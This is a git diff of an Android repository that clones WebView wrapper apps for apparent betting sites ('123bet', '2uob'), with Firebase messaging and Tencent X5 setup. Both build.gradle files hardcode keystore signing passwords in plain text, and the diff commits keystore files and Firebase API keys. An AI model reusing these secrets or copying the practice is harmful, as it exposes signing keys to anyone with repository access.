diff --git a/ttslot888new/nep88/.gitignore b/123bet/.gitignore similarity index 100% rename from ttslot888new/nep88/.gitignore rename to 123bet/.gitignore diff --git a/123bet/build.gradle b/123bet/build.gradle new file mode 100644 index 0000000..e1d590e --- /dev/null +++ b/123bet/build.gradle @@ -0,0 +1,78 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.web.bet123" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { + debug { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + release { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "123bet" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base_no_music') +} \ No newline at end of file diff --git a/123bet/dskjweb.jks b/123bet/dskjweb.jks new file mode 100644 index 0000000..a303350 Binary files /dev/null and b/123bet/dskjweb.jks differ diff --git a/123bet/google-services.json b/123bet/google-services.json new file mode 100644 index 0000000..8643891 --- /dev/null +++ b/123bet/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "316014127127", + "project_id": "bet-40108", + "storage_bucket": "bet-40108.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:316014127127:android:4dce1fbe2d2212385ed452", + "android_client_info": { + "package_name": "com.web.bet123" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyD5cxd9AVroEvBofiygB8qH5AYjOuQcPho" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/ttslot888new/nep88/ppn.jks b/123bet/ppn.jks similarity index 100% rename from ttslot888new/nep88/ppn.jks rename to 123bet/ppn.jks diff --git a/ttslot888new/nep88/proguard-rules.pro b/123bet/proguard-rules.pro similarity index 100% rename from ttslot888new/nep88/proguard-rules.pro rename to 123bet/proguard-rules.pro diff --git a/ttslot888new/nep88/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/123bet/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java similarity index 100% rename from ttslot888new/nep88/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java rename to 123bet/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java diff --git a/123bet/src/main/AndroidManifest.xml b/123bet/src/main/AndroidManifest.xml new file mode 100644 index 0000000..28f270f --- /dev/null +++ b/123bet/src/main/AndroidManifest.xml @@ -0,0 +1,112 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/123bet/src/main/java/com/web/bet123/MainActivity.java b/123bet/src/main/java/com/web/bet123/MainActivity.java new file mode 100644 index 0000000..65dee75 --- /dev/null +++ b/123bet/src/main/java/com/web/bet123/MainActivity.java @@ -0,0 +1,49 @@ +package com.web.bet123; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.graphics.Color; +import android.os.Bundle; + +import com.bumptech.glide.Glide; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 178; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","https://123bet.club/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#1f1712"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#1f1712"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",1); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); + setImageView(true); + //订阅主题 + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(task -> { + }); +// getWindow().getDecorView().setBackgroundResource(Color.parseColor("#01052a")); +// Glide.with(MainActivity.this).load(R.mipmap.load_img).into(showTopV1); + } + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/ttslot888new/nep88/src/main/java/com/web/sking668/MyFirebaseMessageingService.java b/123bet/src/main/java/com/web/bet123/MyFirebaseMessageingService.java similarity index 99% rename from ttslot888new/nep88/src/main/java/com/web/sking668/MyFirebaseMessageingService.java rename to 123bet/src/main/java/com/web/bet123/MyFirebaseMessageingService.java index 5fd5597..bc2305e 100644 --- a/ttslot888new/nep88/src/main/java/com/web/sking668/MyFirebaseMessageingService.java +++ b/123bet/src/main/java/com/web/bet123/MyFirebaseMessageingService.java @@ -1,4 +1,4 @@ -package com.web.sking668; +package com.web.bet123; import android.app.NotificationChannel; import android.app.NotificationManager; diff --git a/ttslot888new/nep88/src/main/java/com/web/sking668/WebApplication.java b/123bet/src/main/java/com/web/bet123/WebApplication.java similarity index 97% rename from ttslot888new/nep88/src/main/java/com/web/sking668/WebApplication.java rename to 123bet/src/main/java/com/web/bet123/WebApplication.java index a5dd9e1..6e72c0f 100644 --- a/ttslot888new/nep88/src/main/java/com/web/sking668/WebApplication.java +++ b/123bet/src/main/java/com/web/bet123/WebApplication.java @@ -1,4 +1,4 @@ -package com.web.sking668; +package com.web.bet123; import android.app.Application; import android.content.Context; diff --git a/ttslot888new/nep88/src/main/res/drawable-anydpi/ic_action_back.xml b/123bet/src/main/res/drawable-anydpi/ic_action_back.xml similarity index 100% rename from ttslot888new/nep88/src/main/res/drawable-anydpi/ic_action_back.xml rename to 123bet/src/main/res/drawable-anydpi/ic_action_back.xml diff --git a/ttslot888new/nep88/src/main/res/drawable-hdpi/ic_action_back.png b/123bet/src/main/res/drawable-hdpi/ic_action_back.png similarity index 100% rename from ttslot888new/nep88/src/main/res/drawable-hdpi/ic_action_back.png rename to 123bet/src/main/res/drawable-hdpi/ic_action_back.png diff --git a/ttslot888new/nep88/src/main/res/drawable-mdpi/ic_action_back.png b/123bet/src/main/res/drawable-mdpi/ic_action_back.png similarity index 100% rename from ttslot888new/nep88/src/main/res/drawable-mdpi/ic_action_back.png rename to 123bet/src/main/res/drawable-mdpi/ic_action_back.png diff --git a/ttslot888new/nep88/src/main/res/drawable-v24/ic_launcher_foreground.xml b/123bet/src/main/res/drawable-v24/ic_launcher_foreground.xml similarity index 100% rename from ttslot888new/nep88/src/main/res/drawable-v24/ic_launcher_foreground.xml rename to 123bet/src/main/res/drawable-v24/ic_launcher_foreground.xml diff --git a/ttslot888new/nep88/src/main/res/drawable-xhdpi/ic_action_back.png b/123bet/src/main/res/drawable-xhdpi/ic_action_back.png similarity index 100% rename from ttslot888new/nep88/src/main/res/drawable-xhdpi/ic_action_back.png rename to 123bet/src/main/res/drawable-xhdpi/ic_action_back.png diff --git a/ttslot888new/nep88/src/main/res/drawable-xxhdpi/ic_action_back.png b/123bet/src/main/res/drawable-xxhdpi/ic_action_back.png similarity index 100% rename from ttslot888new/nep88/src/main/res/drawable-xxhdpi/ic_action_back.png rename to 123bet/src/main/res/drawable-xxhdpi/ic_action_back.png diff --git a/123bet/src/main/res/drawable/big_bg.xml b/123bet/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..f5c5df4 --- /dev/null +++ b/123bet/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/ttslot888new/nep88/src/main/res/drawable/ic_launcher_background.xml b/123bet/src/main/res/drawable/ic_launcher_background.xml similarity index 100% rename from ttslot888new/nep88/src/main/res/drawable/ic_launcher_background.xml rename to 123bet/src/main/res/drawable/ic_launcher_background.xml diff --git a/ttslot888new/nep88/src/main/res/drawable/input_bg.xml b/123bet/src/main/res/drawable/input_bg.xml similarity index 100% rename from ttslot888new/nep88/src/main/res/drawable/input_bg.xml rename to 123bet/src/main/res/drawable/input_bg.xml diff --git a/ttslot888new/nep88/src/main/res/drawable/pass_word_bg.xml b/123bet/src/main/res/drawable/pass_word_bg.xml similarity index 100% rename from ttslot888new/nep88/src/main/res/drawable/pass_word_bg.xml rename to 123bet/src/main/res/drawable/pass_word_bg.xml diff --git a/ttslot888new/nep88/src/main/res/drawable/pass_word_bg1.xml b/123bet/src/main/res/drawable/pass_word_bg1.xml similarity index 100% rename from ttslot888new/nep88/src/main/res/drawable/pass_word_bg1.xml rename to 123bet/src/main/res/drawable/pass_word_bg1.xml diff --git a/ttslot888new/nep88/src/main/res/drawable/pass_word_bg2.xml b/123bet/src/main/res/drawable/pass_word_bg2.xml similarity index 100% rename from ttslot888new/nep88/src/main/res/drawable/pass_word_bg2.xml rename to 123bet/src/main/res/drawable/pass_word_bg2.xml diff --git a/ttslot888new/nep88/src/main/res/drawable/shape_btn_bg.xml b/123bet/src/main/res/drawable/shape_btn_bg.xml similarity index 100% rename from ttslot888new/nep88/src/main/res/drawable/shape_btn_bg.xml rename to 123bet/src/main/res/drawable/shape_btn_bg.xml diff --git a/ttslot888new/nep88/src/main/res/drawable/shape_dialog_bg2.xml b/123bet/src/main/res/drawable/shape_dialog_bg2.xml similarity index 100% rename from ttslot888new/nep88/src/main/res/drawable/shape_dialog_bg2.xml rename to 123bet/src/main/res/drawable/shape_dialog_bg2.xml diff --git a/ttslot888new/nep88/src/main/res/drawable/shape_dialog_bg3.xml b/123bet/src/main/res/drawable/shape_dialog_bg3.xml similarity index 100% rename from ttslot888new/nep88/src/main/res/drawable/shape_dialog_bg3.xml rename to 123bet/src/main/res/drawable/shape_dialog_bg3.xml diff --git a/ttslot888new/nep88/src/main/res/drawable/shape_dialog_bg_new.xml b/123bet/src/main/res/drawable/shape_dialog_bg_new.xml similarity index 100% rename from ttslot888new/nep88/src/main/res/drawable/shape_dialog_bg_new.xml rename to 123bet/src/main/res/drawable/shape_dialog_bg_new.xml diff --git a/ttslot888new/nep88/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/123bet/src/main/res/mipmap-anydpi-v26/ic_launcher.xml similarity index 100% rename from ttslot888new/nep88/src/main/res/mipmap-anydpi-v26/ic_launcher.xml rename to 123bet/src/main/res/mipmap-anydpi-v26/ic_launcher.xml diff --git a/ttslot888new/nep88/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/123bet/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml similarity index 100% rename from ttslot888new/nep88/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml rename to 123bet/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml diff --git a/ttslot888new/nep88/src/main/res/mipmap-hdpi/ic_empty.png b/123bet/src/main/res/mipmap-hdpi/ic_empty.png similarity index 100% rename from ttslot888new/nep88/src/main/res/mipmap-hdpi/ic_empty.png rename to 123bet/src/main/res/mipmap-hdpi/ic_empty.png diff --git a/ttslot888new/nep88/src/main/res/mipmap-hdpi/ic_pull_down.png b/123bet/src/main/res/mipmap-hdpi/ic_pull_down.png similarity index 100% rename from ttslot888new/nep88/src/main/res/mipmap-hdpi/ic_pull_down.png rename to 123bet/src/main/res/mipmap-hdpi/ic_pull_down.png diff --git a/ttslot888new/nep88/src/main/res/mipmap-xhdpi/ic_close.png b/123bet/src/main/res/mipmap-xhdpi/ic_close.png similarity index 100% rename from ttslot888new/nep88/src/main/res/mipmap-xhdpi/ic_close.png rename to 123bet/src/main/res/mipmap-xhdpi/ic_close.png diff --git a/ttslot888new/nep88/src/main/res/mipmap-xhdpi/ic_menu.png b/123bet/src/main/res/mipmap-xhdpi/ic_menu.png similarity index 100% rename from ttslot888new/nep88/src/main/res/mipmap-xhdpi/ic_menu.png rename to 123bet/src/main/res/mipmap-xhdpi/ic_menu.png diff --git a/123bet/src/main/res/mipmap-xxhdpi/app_logo.jpg b/123bet/src/main/res/mipmap-xxhdpi/app_logo.jpg new file mode 100644 index 0000000..273c092 Binary files /dev/null and b/123bet/src/main/res/mipmap-xxhdpi/app_logo.jpg differ diff --git a/ttslot888new/nep88/src/main/res/values-en/strings.xml b/123bet/src/main/res/values-en/strings.xml similarity index 98% rename from ttslot888new/nep88/src/main/res/values-en/strings.xml rename to 123bet/src/main/res/values-en/strings.xml index 6da9f05..0d60963 100644 --- a/ttslot888new/nep88/src/main/res/values-en/strings.xml +++ b/123bet/src/main/res/values-en/strings.xml @@ -1,5 +1,4 @@ - SKING668 Please Set Your Password Cancel Sure diff --git a/123bet/src/main/res/values-night/themes.xml b/123bet/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..89e12d2 --- /dev/null +++ b/123bet/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/123bet/src/main/res/values/colors.xml b/123bet/src/main/res/values/colors.xml new file mode 100644 index 0000000..b45f76b --- /dev/null +++ b/123bet/src/main/res/values/colors.xml @@ -0,0 +1,18 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + #1f1712 + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/ttslot888new/nep88/src/main/res/values/strings.xml b/123bet/src/main/res/values/strings.xml similarity index 99% rename from ttslot888new/nep88/src/main/res/values/strings.xml rename to 123bet/src/main/res/values/strings.xml index bcfc62c..e06c6ca 100644 --- a/ttslot888new/nep88/src/main/res/values/strings.xml +++ b/123bet/src/main/res/values/strings.xml @@ -1,5 +1,5 @@ - SKING668 + 123BET 请输入6位密码 取消 确定 diff --git a/123bet/src/main/res/values/themes.xml b/123bet/src/main/res/values/themes.xml new file mode 100644 index 0000000..efa2168 --- /dev/null +++ b/123bet/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ttslot888new/nep88/src/main/res/xml/app_updater_paths.xml b/123bet/src/main/res/xml/app_updater_paths.xml similarity index 100% rename from ttslot888new/nep88/src/main/res/xml/app_updater_paths.xml rename to 123bet/src/main/res/xml/app_updater_paths.xml diff --git a/ttslot888new/nep88/src/main/res/xml/network_security_config.xml b/123bet/src/main/res/xml/network_security_config.xml similarity index 100% rename from ttslot888new/nep88/src/main/res/xml/network_security_config.xml rename to 123bet/src/main/res/xml/network_security_config.xml diff --git a/ttslot888new/nep88/src/main/res/xml/provider_paths.xml b/123bet/src/main/res/xml/provider_paths.xml similarity index 100% rename from ttslot888new/nep88/src/main/res/xml/provider_paths.xml rename to 123bet/src/main/res/xml/provider_paths.xml diff --git a/ttslot888new/nep88/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/123bet/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java similarity index 100% rename from ttslot888new/nep88/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java rename to 123bet/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java diff --git a/2uob/.gitignore b/2uob/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/2uob/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/2uob/build.gradle b/2uob/build.gradle new file mode 100644 index 0000000..901b88f --- /dev/null +++ b/2uob/build.gradle @@ -0,0 +1,78 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.xyz.uobxyz" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { + debug { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + release { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "2uob" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base_no_music') +} \ No newline at end of file diff --git a/2uob/dskjweb.jks b/2uob/dskjweb.jks new file mode 100644 index 0000000..a303350 Binary files /dev/null and b/2uob/dskjweb.jks differ diff --git a/2uob/google-services.json b/2uob/google-services.json new file mode 100644 index 0000000..5c97d6a --- /dev/null +++ b/2uob/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "547057018602", + "project_id": "uobs-5907f", + "storage_bucket": "uobs-5907f.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:547057018602:android:477ccfd80db9d5d1609993", + "android_client_info": { + "package_name": "com.xyz.uobxyz" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyBDpLnbOxCGHjOYoZ26W9A4NbL3uP3aK7Y" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/2uob/ppn.jks b/2uob/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/2uob/ppn.jks differ diff --git a/2uob/proguard-rules.pro b/2uob/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/2uob/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/2uob/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/2uob/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/2uob/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/2uob/src/main/AndroidManifest.xml b/2uob/src/main/AndroidManifest.xml new file mode 100644 index 0000000..1e576a8 --- /dev/null +++ b/2uob/src/main/AndroidManifest.xml @@ -0,0 +1,98 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/2uob/src/main/java/com/xyz/uobxyz/MainActivity.java b/2uob/src/main/java/com/xyz/uobxyz/MainActivity.java new file mode 100644 index 0000000..04cfa9e --- /dev/null +++ b/2uob/src/main/java/com/xyz/uobxyz/MainActivity.java @@ -0,0 +1,62 @@ +package com.xyz.uobxyz; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.graphics.Color; +import android.os.Bundle; + +import androidx.annotation.NonNull; + +import com.bumptech.glide.Glide; +import com.google.android.gms.tasks.OnCompleteListener; +import com.google.android.gms.tasks.Task; +import com.web.base.LogUtils; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 212; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","https://2uob.com/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#66008f"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#101012"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",1); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色t + setBackDrawables(R.drawable.big_bg); + setImageView(false); + //订阅主题 + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(new OnCompleteListener() { + @Override + public void onComplete(@NonNull Task task) { + String msg = "Subscribed"; + if (!task.isSuccessful()) { + msg = "Subscribe failed"; + } + LogUtils.i("结果:"+msg); + } + }); +// getWindow().getDecorView().setBackgroundResource(Color.parseColor("#01052a")); +// Glide.with(MainActivity.this).load(R.mipmap.load_img).into(showTopV1); + } + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/mudahking/src/main/java/com/web/mudahking/MyFirebaseMessageingService.java b/2uob/src/main/java/com/xyz/uobxyz/MyFirebaseMessageingService.java similarity index 99% rename from mudahking/src/main/java/com/web/mudahking/MyFirebaseMessageingService.java rename to 2uob/src/main/java/com/xyz/uobxyz/MyFirebaseMessageingService.java index 5e808c9..fcc3586 100644 --- a/mudahking/src/main/java/com/web/mudahking/MyFirebaseMessageingService.java +++ b/2uob/src/main/java/com/xyz/uobxyz/MyFirebaseMessageingService.java @@ -1,4 +1,4 @@ -package com.web.mudahking; +package com.xyz.uobxyz; import android.app.NotificationChannel; import android.app.NotificationManager; diff --git a/2uob/src/main/java/com/xyz/uobxyz/WebApplication.java b/2uob/src/main/java/com/xyz/uobxyz/WebApplication.java new file mode 100644 index 0000000..e749caf --- /dev/null +++ b/2uob/src/main/java/com/xyz/uobxyz/WebApplication.java @@ -0,0 +1,35 @@ +package com.xyz.uobxyz; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/2uob/src/main/res/drawable-anydpi/ic_action_back.xml b/2uob/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/2uob/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/2uob/src/main/res/drawable-hdpi/ic_action_back.png b/2uob/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/2uob/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/2uob/src/main/res/drawable-mdpi/ic_action_back.png b/2uob/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/2uob/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/2uob/src/main/res/drawable-v24/ic_launcher_foreground.xml b/2uob/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/2uob/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/2uob/src/main/res/drawable-xhdpi/ic_action_back.png b/2uob/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/2uob/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/2uob/src/main/res/drawable-xxhdpi/ic_action_back.png b/2uob/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/2uob/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/2uob/src/main/res/drawable/big_bg.xml b/2uob/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..737f3f8 --- /dev/null +++ b/2uob/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/2uob/src/main/res/drawable/ic_launcher_background.xml b/2uob/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/2uob/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/2uob/src/main/res/drawable/input_bg.xml b/2uob/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/2uob/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/2uob/src/main/res/drawable/pass_word_bg.xml b/2uob/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/2uob/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/2uob/src/main/res/drawable/pass_word_bg1.xml b/2uob/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/2uob/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/2uob/src/main/res/drawable/pass_word_bg2.xml b/2uob/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/2uob/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/2uob/src/main/res/drawable/shape_btn_bg.xml b/2uob/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/2uob/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/2uob/src/main/res/drawable/shape_dialog_bg2.xml b/2uob/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/2uob/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/2uob/src/main/res/drawable/shape_dialog_bg3.xml b/2uob/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/2uob/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/2uob/src/main/res/drawable/shape_dialog_bg_new.xml b/2uob/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ 